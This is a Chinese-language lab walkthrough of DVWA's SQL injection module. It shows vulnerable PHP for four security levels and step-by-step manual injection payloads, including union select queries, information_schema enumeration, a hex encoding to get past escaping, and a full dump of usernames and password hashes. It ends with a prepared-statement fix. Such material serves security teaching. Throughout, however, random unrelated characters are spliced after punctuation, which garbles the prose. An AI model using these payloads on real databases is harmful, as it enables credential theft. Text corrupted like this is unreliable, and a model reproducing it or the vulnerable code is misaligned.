SQL Injection
SQL Injection,即SQL注入电湘,是指攻擊者通過(guò)注入惡意的SQL命令隔节,破壞SQL查詢(xún)語(yǔ)句的結(jié)構(gòu),從而達(dá)到執(zhí)行惡意SQL語(yǔ)句的目的寂呛。SQL注入漏洞的危害是巨大的怎诫,常常會(huì)導(dǎo)致整個(gè)數(shù)據(jù)庫(kù)被“脫褲”,盡管如此贷痪,SQL注入仍是現(xiàn)在最常見(jiàn)的Web漏洞之一幻妓。
DVWA-1.9系列一共分為10個(gè)功能模塊:
Brute Force(暴力破解)
Command Injection(命令行注入)
CSRF(跨站請(qǐng)求偽造)
File Inclusion(文件包含)
File Upload(文件上傳)
Insecure CAPTCHA(不安全的驗(yàn)證碼)
SQL Injection(SQL注入)
SQL Injection(Blind)(SQL盲注)
XSS(Reflected)(反射型跨站腳本)
XSS(Stored)(存儲(chǔ)型跨站腳本)
手工注入思路
自動(dòng)化的注入神器sqlmap固然好用,但還是要掌握一些手工注入的思路劫拢,下面簡(jiǎn)要介紹手工注入(非盲注)的步驟肉津。
1.判斷是否存在注入,注入是字符型還是數(shù)字型
2.猜解SQL查詢(xún)語(yǔ)句中的字段數(shù)
3.確定顯示的字段順序
4.獲取當(dāng)前數(shù)據(jù)庫(kù)
5.獲取數(shù)據(jù)庫(kù)中的表
6.獲取表中的字段名
7.下載數(shù)據(jù)
下面對(duì)四種級(jí)別的代碼進(jìn)行分析舱沧。
Low
服務(wù)器端核心代碼
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Get values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
// Increase loop count
$i++;
}
mysql_close();
}
?>
可以看到妹沙,Low級(jí)別的代碼對(duì)來(lái)自客戶(hù)端的參數(shù)id沒(méi)有進(jìn)行任何的檢查與過(guò)濾,存在明顯的SQL注入熟吏。
****漏洞利用****
現(xiàn)實(shí)攻擊場(chǎng)景下距糖,攻擊者是無(wú)法看到后端代碼的玄窝,所以下面的手工注入步驟是建立在無(wú)法看到源碼的基礎(chǔ)上。
1.判斷是否存在注入悍引,注入是字符型還是數(shù)字型
輸入1恩脂,查詢(xún)成功:
輸入1’and ‘1’ =’2,查詢(xún)失敗趣斤,返回結(jié)果為空:
輸入1’or ‘1234 ’=’1234俩块,查詢(xún)成功:
返回了多個(gè)結(jié)果,說(shuō)明存在字符型注入唬渗。
2.猜解SQL查詢(xún)語(yǔ)句中的字段數(shù)
輸入1′ or 1=1 order by 1 #典阵,查詢(xún)成功:
輸入1′ or 1=1 order by 2 #,查詢(xún)成功:
輸入1′ or 1=1 order by 3 #镊逝,查詢(xún)失斪嘲 :
說(shuō)明執(zhí)行的SQL查詢(xún)語(yǔ)句中只有兩個(gè)字段,即這里的First name撑蒜、Surname歹啼。
(這里也可以通過(guò)輸入union select 1,2,3…來(lái)猜解字段數(shù))
3.確定顯示的字段順序
輸入1′ union select 1,2 #,查詢(xún)成功:
說(shuō)明執(zhí)行的SQL語(yǔ)句為select First name,Surname from 表 where ID=’id’…
4.獲取當(dāng)前數(shù)據(jù)庫(kù)
輸入1′ union select 1,database() #座菠,查詢(xún)成功:
說(shuō)明當(dāng)前的數(shù)據(jù)庫(kù)為dvwa
5.獲取數(shù)據(jù)庫(kù)中的表
輸入1′ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #狸眼,查詢(xún)成功:
說(shuō)明數(shù)據(jù)庫(kù)dvwa中一共有兩個(gè)表,guestbook與users浴滴。
6.獲取表中的字段名
輸入1′ union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ #拓萌,查詢(xún)成功:
說(shuō)明users表中有8個(gè)字段,分別是user_id,first_name,last_name,user,password,avatar,last_login,failed_login升略。
7.下載數(shù)據(jù)
輸入1′ or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #微王,查詢(xún)成功:
這樣就得到了users表中所有用戶(hù)的user_id,first_name,last_name,password的數(shù)據(jù)。
Medium
服務(wù)器端核心代碼
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysql_real_escape_string( $id );
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Display values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
// Increase loop count
$i++;
}
//mysql_close();
}
?>
可以看到品嚣,Medium級(jí)別的代碼利用mysql_real_escape_string函數(shù)對(duì)特殊符號(hào)
\x00,\n,\r,,’,”,\x1a進(jìn)行轉(zhuǎn)義炕倘,同時(shí)前端頁(yè)面設(shè)置了下拉選擇表單,希望以此來(lái)控制用戶(hù)的輸入翰撑。
****漏洞利用****
雖然前端使用了下拉選擇菜單罩旋,但我們依然可以通過(guò)抓包改參數(shù),提交惡意構(gòu)造的查詢(xún)參數(shù)眶诈。
1.判斷是否存在注入涨醋,注入是字符型還是數(shù)字型
抓包更改參數(shù)id為1′ or 1=1 #
報(bào)錯(cuò):
抓包更改參數(shù)id為1 or 1=1 #,查詢(xún)成功:
說(shuō)明存在數(shù)字型注入逝撬。
(由于是數(shù)字型注入东帅,服務(wù)器端的mysql_real_escape_string函數(shù)就形同虛設(shè)了,因?yàn)閿?shù)字型注入并不需要借助引號(hào)球拦。)
2.猜解SQL查詢(xún)語(yǔ)句中的字段數(shù)
抓包更改參數(shù)id為1 order by 2 #,查詢(xún)成功:
抓包更改參數(shù)id為1 order by 3 #,報(bào)錯(cuò):
說(shuō)明執(zhí)行的SQL查詢(xún)語(yǔ)句中只有兩個(gè)字段坎炼,即這里的First name愧膀、Surname。
3.確定顯示的字段順序
抓包更改參數(shù)id為1 union select 1,2 #谣光,查詢(xún)成功:
說(shuō)明執(zhí)行的SQL語(yǔ)句為select First name,Surname from 表 where ID=id…
4.獲取當(dāng)前數(shù)據(jù)庫(kù)
抓包更改參數(shù)id為1 union select 1,database() #檩淋,查詢(xún)成功:
說(shuō)明當(dāng)前的數(shù)據(jù)庫(kù)為dvwa。
5.獲取數(shù)據(jù)庫(kù)中的表
抓包更改參數(shù)id為1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #萄金,查詢(xún)成功:
說(shuō)明數(shù)據(jù)庫(kù)dvwa中一共有兩個(gè)表蟀悦,guestbook與users。
6.獲取表中的字段名
抓包更改參數(shù)id為1 union select 1,group_concat(column_name) from information_schema.columns where table_name=’users ’#氧敢,查詢(xún)失斎崭辍:
這是因?yàn)閱我?hào)被轉(zhuǎn)義了,變成了\’孙乖。
可以利用16進(jìn)制進(jìn)行繞過(guò)浙炼,抓包更改參數(shù)id為1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0×7573657273 #,查詢(xún)成功:
說(shuō)明users表中有8個(gè)字段唯袄,分別是user_id,first_name,last_name,user,password,avatar,last_login,failed_login弯屈。
7.下載數(shù)據(jù)
抓包修改參數(shù)id為1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,查詢(xún)成功:
這樣就得到了users表中所有用戶(hù)的user_id,first_name,last_name,password的數(shù)據(jù)恋拷。
High
服務(wù)器端核心代碼
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Get values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
// Increase loop count
$i++;
}
mysql_close();
}
?>
可以看到资厉,與Medium級(jí)別的代碼相比,High級(jí)別的只是在SQL查詢(xún)語(yǔ)句中添加了LIMIT 1蔬顾,希望以此控制只輸出一個(gè)結(jié)果宴偿。
****漏洞利用****
雖然添加了LIMIT 1,但是我們可以通過(guò)#將其注釋掉阎抒。由于手工注入的過(guò)程與Low級(jí)別基本一樣酪我,直接最后一步演示下載數(shù)據(jù)。
輸入1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #且叁,查詢(xún)成功:
需要特別提到的是都哭,High級(jí)別的查詢(xún)提交頁(yè)面與查詢(xún)結(jié)果顯示頁(yè)面不是同一個(gè),也沒(méi)有執(zhí)行302跳轉(zhuǎn)逞带,這樣做的目的是為了防止一般的sqlmap注入欺矫,因?yàn)閟qlmap在注入過(guò)程中,無(wú)法在查詢(xún)提交頁(yè)面上獲取查詢(xún)的結(jié)果展氓,沒(méi)有了反饋穆趴,也就沒(méi)辦法進(jìn)一步注入。
Impossible
服務(wù)器端核心代碼
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
可以看到遇汞,Impossible級(jí)別的代碼采用了PDO技術(shù)未妹,劃清了代碼與數(shù)據(jù)的界限簿废,有效防御SQL注入,同時(shí)只有返回的查詢(xún)結(jié)果數(shù)量為一時(shí)络它,才會(huì)成功輸出族檬,這樣就有效預(yù)防了“脫褲”,Anti-CSRFtoken機(jī)制的加入了進(jìn)一步提高了安全性
轉(zhuǎn)載freebuf帖子地址:http://www.freebuf.com/articles/web/120747.html